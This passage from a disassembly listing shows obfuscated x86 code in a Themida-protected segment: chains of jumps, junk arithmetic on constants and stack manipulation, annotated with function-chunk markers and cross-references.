; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------


loc_59B08B:				; CODE XREF: Themida_:005A3446j
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A488E
; ---------------------------------------------------------------------------


loc_59B0A5:				; CODE XREF: Themida_:0059F657j
		and	ebp, 39F374ACh
		xor	ebp, 0FF4214Eh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_59603D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BBA6


loc_59B0B9:				; CODE XREF: sub_59BBA6-32E9j
		add	esp, 4
		shr	ebx, 7
		add	ebx, 7CB003D1h
		jmp	loc_59B730
; END OF FUNCTION CHUNK	FOR sub_59BBA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59B0CA:				; CODE XREF: sub_5936EC+951Cj
		add	esi, eax
		pop	eax
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		xor	esi, [esp+0Ch+var_C]
		jmp	loc_59360A
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B0DB:				; CODE XREF: sub_59390B+509Aj
		xor	eax, 298440E6h
		push	3F6Ch
		mov	[esp-0Eh+arg_4+2], edx
		push	ebx
		mov	ebx, 3AC46611h
		push	ebx
		pop	edx
		mov	ebx, [esp-0Ah+arg_0+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_593825
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59B10A	proc near		; DATA XREF: Themida_:00590A10o
		neg	byte ptr [esp+0]
		pushf
		jmp	loc_590A9B
sub_59B10A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B113:				; CODE XREF: sub_59390B+2811j
		xor	edx, 0A39C95C4h
		mov	ebx, edx
		mov	edx, [esp+0]
		add	esp, 4
		or	esi, ebx
		pop	ebx
		add	esi, 0EF70ED18h
		sub	ecx, esi
		push	[esp-8+arg_0]
		pop	esi
		jmp	sub_592A27
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_59B138:				; CODE XREF: sub_59F53F-7557j
		pop	eax
		add	ebx, edx
		jmp	loc_5958D4
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------


loc_59B140:				; CODE XREF: Themida_:00593113j
		push	ebx
		jmp	loc_59684C
; ---------------------------------------------------------------------------


loc_59B146:				; CODE XREF: Themida_:005A4150j
		push	edx
		push	2E19h
		mov	[esp], esi
		jmp	loc_5A16D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B154:				; CODE XREF: sub_59390B+88ACj
		push	esp
		jmp	loc_5A1C53
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_59B15A:				; CODE XREF: sub_5964AF-141Fj
		pop	edx
		and	eax, esi
		push	[esp-14h+arg_10]
		mov	esi, [esp-10h+arg_C]
		jmp	sub_594C24
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
		push	7955h
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ebx
		push	4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_595DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B187:				; CODE XREF: sub_59390B+6273j
		add	si, 0C406h
		jmp	sub_59A75E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594DA8


loc_59B191:				; CODE XREF: sub_594DA8+8302j
		mov	esp, [esp+4+var_4]
		jmp	sub_5A4CDD
; END OF FUNCTION CHUNK	FOR sub_594DA8
; ---------------------------------------------------------------------------


loc_59B199:				; CODE XREF: Themida_:00592ED9j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_59CE57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B1AD:				; CODE XREF: sub_59390B+C307j
		push	eax
		mov	eax, 4
		add	ebp, 156C5426h
		jmp	loc_59ED98
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B1BE:				; CODE XREF: Themida_:0059AEFDj
		mov	ecx, 5EA7FF9h
		jmp	loc_59FA3A
; ---------------------------------------------------------------------------


loc_59B1C8:				; CODE XREF: Themida_:005A42E6j
		add	edx, 0D55EE6B8h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, eax
		jmp	loc_59C4B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5969DC


loc_59B1DD:				; CODE XREF: sub_5969DC+1j
		xor	eax, ebx
		push	esi
		sub	esp, 4
		mov	[esp+8+var_8], esi
		jmp	loc_591D59
; END OF FUNCTION CHUNK	FOR sub_5969DC
; ---------------------------------------------------------------------------


loc_59B1EB:				; CODE XREF: Themida_:005A312Bj
		mov	cl, 1Dh
		sub	dh, cl
		pop	cx
		mov	cx, [esp]
		add	esp, 2
		xor	dh, 67h
		jmp	loc_5A3043
; ---------------------------------------------------------------------------


loc_59B203:				; CODE XREF: Themida_:0059C6EAj
		not	ebx
		jmp	loc_598CC1

; =============== S U B	R O U T	I N E =======================================



sub_59B20A	proc near		; CODE XREF: sub_590B8D+9E97j

; FUNCTION CHUNK AT 00595581 SIZE 00000007 BYTES

		push	ebx
		jmp	loc_595581
sub_59B20A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FA27


loc_59B210:				; CODE XREF: sub_59FA27+Ej
		mov	edi, 7E29522Eh
		dec	edi
		sub	edi, 0C871058h
		jmp	loc_5981AD
; END OF FUNCTION CHUNK	FOR sub_59FA27
; ---------------------------------------------------------------------------


loc_59B221:				; CODE XREF: Themida_:005A01EFj
		push	ecx
		mov	ecx, 40810D0Bh
		and	ecx, 69AA22C0h
		dec	ecx
		push	ebx
		mov	ebx, 20D321F6h
		sub	ecx, ebx
		jmp	loc_59DC30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59B23B:				; CODE XREF: sub_59FCCB-A807j
		push	edx
		mov	dl, 93h
		xor	ah, dl
		jmp	loc_593717
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_59B245:				; CODE XREF: Themida_:0059269Aj
		push	edx
		xor	dword ptr [esp], 67E12583h
		pop	ebp
		xor	ebp, 67E12583h
		pop	edx
		pop	esi
		push	ebx
		mov	ebx, 392C3851h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	4B80h
		mov	[esp], edi
		jmp	loc_59A54F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59B274:				; CODE XREF: sub_59FD45-F038j
		mov	ebx, 6B6561D9h
		xor	ebx, 4F0A37E4h
		inc	ebx
		sub	ebx, 19716767h
		add	ebx, 39172629h
		or	ebp, ebx
		pop	ebx
		jmp	loc_597F6D
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_59B294:				; CODE XREF: Themida_:0059EA1Cj
		mov	cl, dl
		mov	ah, cl
		jmp	loc_5A5224
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B29D:				; CODE XREF: sub_59390B+926Ej
		push	6059h
		mov	[esp+0Ch+var_C], edi
		push	esp
		pop	edi
		sub	esp, 4
		jmp	loc_59FB7A
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59B2AF	proc near		; DATA XREF: Themida_:00590A28o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00590FEA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00593379 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059B38A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059CDCA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A04C0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A10A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A22E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2823 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A42D8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A555F SIZE 00000037 BYTES

		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5A22E5
sub_59B2AF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_59B2CB:				; CODE XREF: sub_594A8D+4DEBj
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		not	edi
		push	ebp
		mov	ebp, 388D693Bh
		jmp	loc_5A32D5
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_59B2DE:				; CODE XREF: sub_5A0733-7ABAj
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_599AD3
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------


loc_59B2EC:				; CODE XREF: Themida_:005A24D9j
		shr	ebx, 5
		shl	ebx, 5
		dec	ebx
		add	ebx, 0F713D8A0h
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5960B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F4F


loc_59B306:				; CODE XREF: sub_5A4F4F+9j
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_595934
; END OF FUNCTION CHUNK	FOR sub_5A4F4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B311:				; CODE XREF: sub_59390B+E129j
		add	edi, 4
		push	ebx
		mov	ebx, 36FB1BBFh
		shr	ebx, 5
		jmp	loc_593A4A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_59B325:				; CODE XREF: sub_5964AF-5943j
		push	ecx
		mov	ecx, 6CB2331Bh
		jmp	loc_59334B
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B330:				; CODE XREF: sub_59390B-1E2Ej
		sub	esi, 0D07D0159h
		sub	ebx, esi
		mov	esi, [esp-8+arg_0]
		add	esp, 4
		push	[esp-0Ch+arg_4]
		mov	edx, [esp-8+arg_0]
		jmp	loc_594523
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598DC3


loc_59B349:				; CODE XREF: sub_598DC3+8D72j
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_598DC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_59B355:				; CODE XREF: sub_59CAFB-B137j
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		mov	eax, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	esp
		pop	esi
		jmp	sub_599294
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_59B379:				; CODE XREF: Themida_:005A0F46j
		add	edx, ecx
		push	dword ptr [edx]
		sub	dword ptr [esp], 33912BDDh
		pop	eax
		jmp	loc_590C70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_59B38A:				; CODE XREF: sub_59B2AF+902Cj
		dec	ebp
		jmp	loc_5A10A5
; END OF FUNCTION CHUNK	FOR sub_59B2AF
; ---------------------------------------------------------------------------


loc_59B390:				; CODE XREF: Themida_:005A2842j
		pop	ebx
		sub	ebx, 4629EE53h
		jmp	loc_5A5A20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B39C:				; CODE XREF: sub_59390B+9E10j
		sub	esi, 4E8B58E5h
		jmp	loc_59AF4F
; ---------------------------------------------------------------------------


loc_59B3A7:				; CODE XREF: sub_59390B+D448j
		sub	edi, 0FF8722FBh
		mov	eax, edi
		pop	edi
		add	edi, eax
		pop	eax
		xor	edi, [esp-10h+arg_8]
		xor	[esp-10h+arg_8], edi
		jmp	loc_591C69
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B3BE:				; CODE XREF: Themida_:00597368j
		mov	[esp], ebp
		mov	ebp, 69B187A3h
		add	edx, 328162B9h
		add	edx, ebp
		sub	edx, 328162B9h
		jmp	loc_59698C
; ---------------------------------------------------------------------------


loc_59B3D9:				; CODE XREF: Themida_:0059A577j
		push	edx
		mov	edx, 348D6F9Dh
		push	0D04h
		mov	[esp], edx
		jmp	loc_598E5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C8E


loc_59B3EC:				; CODE XREF: sub_597C8E+5497j
		mov	esi, 5E266F5Ah
		and	esi, 696D41DCh
		sub	esp, 4
		jmp	loc_5A1F9F
; END OF FUNCTION CHUNK	FOR sub_597C8E
; ---------------------------------------------------------------------------


loc_59B3FF:				; CODE XREF: Themida_:005A3221j
		xchg	ebx, [esp]
		pop	esp
		add	[esp], ax
		pushf
		jmp	loc_59E29B
; ---------------------------------------------------------------------------


loc_59B40D:				; CODE XREF: Themida_:005A46DCj
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5980DA
; ---------------------------------------------------------------------------


loc_59B415:				; CODE XREF: Themida_:0059BE9Ej
		pop	esi
		jmp	loc_595EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B41B:				; CODE XREF: sub_59390B+994Aj
		sub	esi, edx
		jmp	loc_5920E9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B422:				; CODE XREF: Themida_:00590DEFj
		push	eax
		mov	eax, edi
		push	ecx
		push	eax
		push	ebp
		push	ebx
		push	edi
		mov	edi, 28347D05h
		inc	edi
		neg	edi
		neg	edi
		shl	edi, 4
		add	edi, 356C6D64h
		add	edi, 0A2620AC8h
		mov	ebx, edi
		jmp	loc_59CFAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B44A:				; CODE XREF: sub_59390B+9F68j
		mov	edi, [esp-10h+arg_8]
		add	esp, 4
		push	esi
		mov	esi, 954D8C6Dh
		sub	ecx, esi
		jmp	loc_597D1D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B460:				; CODE XREF: Themida_:0059BB32j
		and	eax, 11E5FAAh
		jmp	loc_5A4C36
; ---------------------------------------------------------------------------


loc_59B46A:				; CODE XREF: Themida_:00599D57j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebp
		jmp	loc_596CCF
; ---------------------------------------------------------------------------


loc_59B476:				; CODE XREF: Themida_:005A4D4Aj
		add	ebx, 4
		jmp	loc_5A3B35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_59B481:				; CODE XREF: sub_59F4E7+410Fj
		add	ebp, 4
		xchg	ebp, [esp-0Ch+arg_8]
		jmp	loc_5A0B1D
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------


loc_59B48F:				; CODE XREF: Themida_:0059F824j
		sub	al, 0B4h
		sub	al, bl
		jmp	loc_595E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B498:				; CODE XREF: sub_59390B-181Cj
		sub	esi, 5A6F408Bh
		mov	edx, [esp-0Ch+arg_4]
		add	esp, 4
		jmp	loc_59EDE4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59B4A9:				; CODE XREF: sub_59FD45+4926j
		add	esp, 4
		jmp	loc_5A5B94
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_59B4B4:				; CODE XREF: Themida_:005924F3j
		xchg	edx, [esp]
		pop	esp
		add	eax, 2846418Ah
		add	eax, ebx
		jmp	loc_59DC7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B4C4:				; CODE XREF: sub_59390B+6DF9j
		pop	edx
		sub	ebp, 65E55148h
		and	ecx, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		shr	ecx, 7
		push	26B5h
		mov	[esp+8+var_8], edx
		push	3F35h
		mov	[esp+0Ch+var_C], ebx
		push	[esp+0Ch+var_C]
		pop	edx
		jmp	loc_5A0D6A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59B4F2:				; CODE XREF: sub_59E918-5D73j
		mov	cl, 0C3h
		add	bl, cl
		jmp	loc_59A1D5
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_59B4FB:				; CODE XREF: Themida_:0059EB36j
		add	eax, ebx
		jmp	loc_5A08DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B502:				; CODE XREF: sub_59390B-1705j
		pop	ebp
		push	esi
		push	[esp-14h+arg_10]
		mov	esi, [esp-10h+arg_8]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A31EB
; ---------------------------------------------------------------------------


loc_59B513:				; CODE XREF: sub_59390B+6E36j
		pop	ebp
		push	[esp-0Ch+arg_4]
		pop	edi
		add	esp, 4
		xor	ecx, [esp-10h+arg_8]
		jmp	loc_5A3110
; ---------------------------------------------------------------------------


loc_59B526:				; CODE XREF: sub_59390B+1C5Cj
		mov	[esp-1Ch+arg_14], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp-18h+arg_10], ebp
		jmp	loc_597035
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B536:				; CODE XREF: Themida_:005A0931j
		push	esp
		pop	edi
		push	ebx
		push	ecx
		mov	ecx, 18DD10FDh
		push	edi
		mov	edi, 0E722EF07h
		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_595CFC
; ---------------------------------------------------------------------------


loc_59B54F:				; CODE XREF: Themida_:0059D249j
		pop	edi
		jmp	loc_591C4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59B555:				; CODE XREF: sub_59A75E+9CE2j
		mov	si, word ptr [esp+2+var_4+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+6+var_8+2]
		pop	esp
		jmp	loc_59AA6A
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59B571:				; CODE XREF: sub_591FC5+6416j
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
		popa
		jmp	locret_597168

; =============== S U B	R O U T	I N E =======================================



sub_59B57F	proc near		; CODE XREF: sub_5A5219-F6C0j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	loc_593EC2
sub_59B57F	endp

; ---------------------------------------------------------------------------


loc_59B58D:				; CODE XREF: Themida_:00591DCBj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A086D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B596:				; CODE XREF: sub_59390B+11517j
		push	eax
		push	0B227110h
		jmp	loc_594073
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B5A1:				; CODE XREF: Themida_:0059C124j
		sub	ebx, 0F41FA85Ah
		push	eax
		mov	eax, 5D7B4B3Eh
		sub	eax, 1
		xor	eax, 202B5B58h
		add	eax, 0F6E050AEh
		sub	ecx, eax
		jmp	loc_59BF7F
; ---------------------------------------------------------------------------


loc_59B5C1:				; CODE XREF: Themida_:0059314Aj
		push	0B93h
		jmp	loc_597AB3
; ---------------------------------------------------------------------------


loc_59B5CB:				; CODE XREF: Themida_:00593286j
		mov	edx, 7901A12Ah
		sub	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_596335
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_59B5E1:				; CODE XREF: sub_599AE1-6487j
		push	esi
		jmp	loc_596DB9
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_59B5E7:				; CODE XREF: Themida_:0059220Dj
		mov	edi, [esp]
		add	esp, 4
		add	ebx, ecx
		jmp	loc_59E09E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A09BC


loc_59B5F7:				; CODE XREF: sub_5A09BC-5E7Ej
		xor	[esp-0Ch+arg_8], eax
		xor	eax, [esp-0Ch+arg_8]
		jmp	loc_59FCA2
; END OF FUNCTION CHUNK	FOR sub_5A09BC
; ---------------------------------------------------------------------------


loc_59B602:				; CODE XREF: Themida_:005915ACj
		push	edx
		mov	edx, 3FCC5708h
		jmp	loc_5A4AC4
; ---------------------------------------------------------------------------


loc_59B60D:				; CODE XREF: Themida_:0059BE89j
		or	ebp, 57263585h
		sub	ebp, 0C510B5E4h
		mov	edx, ebp
		pop	ebp
		add	esi, edx
		pop	edx
		add	esi, ebp
		sub	esi, 3A2749B1h
		pop	ebp
		pop	ebx
		push	2600h
		jmp	loc_5A308F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A09B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_59B641:				; CODE XREF: sub_594A8D+ECDBj
		add	edi, 52380D4Dh
		xchg	ebp, edi
		not	ebp
		jmp	loc_591367
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------


loc_59B650:				; CODE XREF: Themida_:00596E69j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_592266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B65D:				; CODE XREF: sub_59390B+D1DDj
		and	eax, 38A659A7h
		jmp	loc_5A4900
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B667:				; CODE XREF: Themida_:00598CC3j
		pop	ecx
		pop	ebx
		push	edi
		mov	edi, 3AAA6F9Dh
		push	ecx
		mov	ecx, 3E7E174Eh
		or	edi, ecx
		jmp	loc_59975A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A065F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5C8


loc_59B688:				; CODE XREF: sub_59F5C8+5j
		pop	ebx
		pop	ecx
		jmp	loc_5922C2
; END OF FUNCTION CHUNK	FOR sub_59F5C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59B68F:				; CODE XREF: sub_590AC5+BFC6j
		xchg	ebp, [esp-4+arg_0]
		pop	esp
		add	edi, 4
		add	edi, 4
		push	79C2h
		mov	[esp-4+arg_0], edi
		jmp	loc_596A87
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B6A9:				; CODE XREF: sub_59390B+76A2j
		pop	ecx
		sub	bl, ah
		jmp	loc_595D23
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B6B1:				; CODE XREF: Themida_:0059AC5Cj
		pop	eax
		pop	edx
		pop	eax
		mov	ch, bl
		jmp	loc_5954C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59B6BB:				; CODE XREF: sub_5A4CDD-11D8Dj
		pop	ebx
		sub	edx, 4
		jmp	loc_5A4CC5
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_59B6C7:				; CODE XREF: Themida_:005A16B2j
		push	edx
		mov	edx, 75D54863h
		sub	edx, 39D2139Ch
		jmp	loc_59AA72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59B6D8:				; CODE XREF: sub_59FCCB-97F0j
		push	ecx
		jmp	loc_5A47AE
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_59E7B1
; ---------------------------------------------------------------------------


loc_59B6E7:				; CODE XREF: Themida_:005921D0j
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_592F80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B6F6:				; CODE XREF: sub_59390B+2B5Fj
		xor	edx, 414D1D9Bh
		sub	esp, 4
		mov	[esp-16h+arg_C+2], edx
		pop	esi
		mov	edx, [esp-1Ah+arg_10+2]
		add	esp, 4
		sub	ebp, esi
		pop	esi
		xor	ebp, [esp-22h+arg_18+2]
		xor	[esp-22h+arg_18+2], ebp
		xor	ebp, [esp-22h+arg_18+2]
		mov	esp, [esp-22h+arg_18+2]
		mov	[esp-22h+arg_18+2], eax
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59B720:				; CODE XREF: sub_591FC5+11FC0j
		xor	dh, ah
		jmp	loc_598563
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B727:				; CODE XREF: sub_59390B+607Dj
		inc	edx
		push	eax
		mov	eax, esp
		jmp	sub_591745
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BBA6


loc_59B730:				; CODE XREF: sub_59BBA6-AE1j
		push	edx
		mov	edx, 6BBB23C7h
		sub	edx, 7EAB1D53h
		sub	edx, 0A7E9F047h
		xor	ebx, edx
		pop	edx
		xor	ebx, 240829C4h
		add	ebx, 55AEF5C1h
		sub	eax, ebx
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59BBA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591F0D


loc_59B761:				; CODE XREF: sub_591F0D+Ej
		shr	ebp, 2
		jmp	loc_5A2A5A
; END OF FUNCTION CHUNK	FOR sub_591F0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_59B769:				; CODE XREF: sub_59654E+342j
		mov	esi, 7BDD32A2h
		jmp	loc_592010
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	4EA3h
		push	esp
		jmp	loc_5A00F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B788:				; CODE XREF: sub_59390B+FE28j
		mov	esi, ebp
		pop	ebp
		pop	ecx
		sub	edx, esi
		pop	esi
		add	edx, edi
		jmp	loc_59F60B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_59B796:				; CODE XREF: sub_5A51EA-B55j
		sub	al, cl
		jmp	loc_5A542E
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_59B79D:				; CODE XREF: Themida_:0059F6BAj
		add	esi, ebx
		pop	ebx
		sub	esi, 0F4C19158h
		mov	edi, esi
		pop	esi
		add	[esp+4], edi
		pop	edi
		sub	dword ptr [esp], 7E1E16E7h
		jmp	loc_595EA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_59B7BA:				; CODE XREF: sub_59D1FC-26Aj
		mov	[esp-4+arg_0], ebp
		push	1002D9F3h
		push	dword ptr [esp+0]
		pop	ebp
		sub	esp, 4
		jmp	loc_5A162E
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------


loc_59B7CE:				; CODE XREF: Themida_:00598BBDj
		push	ebp
		mov	ebp, esp
		jmp	loc_5A36FD
; ---------------------------------------------------------------------------


loc_59B7D6:				; CODE XREF: Themida_:0059AE94j
		neg	ch
		jmp	loc_598C9B
; ---------------------------------------------------------------------------


loc_59B7DD:				; CODE XREF: Themida_:005A2FE4j
		push	esi
		mov	esi, 0AFD4F85h
		sub	esp, 4
		mov	[esp], esi
		xchg	edi, [esp]
		neg	edi
